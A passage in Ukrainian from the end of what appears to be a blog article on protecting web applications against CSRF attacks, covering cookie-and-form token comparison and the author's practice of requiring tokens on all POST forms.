І потім при отриманні кожного запиту порівнюється токен з куків і токен, зазначений у параметрах форми. І якщо вони однакові, то джерело запиту є легальним. Потім токен генерується знову, і знову встановлюється в куки, і т.д. по колу.

Взагалі реалізація може бути інша, але проблема в тому, що перехід на токени це досить складно, оскільки доводиться враховувати кожну посилання, кожну форму, кожну сторінку… Можна захищати тільки важливі сторінки/форми/посилання, але тоді є шанс якісь із них упустити.

Я особисто захищаю лише POST форми та дуже важливі посилання. Тобто POST у моїх додатках не працює без правильного токена. Це позбавляє шансу забути захистити якусь форму, тому що вона просто не буде працювати і я відразу це зауважу.

Висновок

Сподіваюся з цієї статті ви зрозуміли, як слід захищатися від CSRF атак.

 

 
Це цікаво: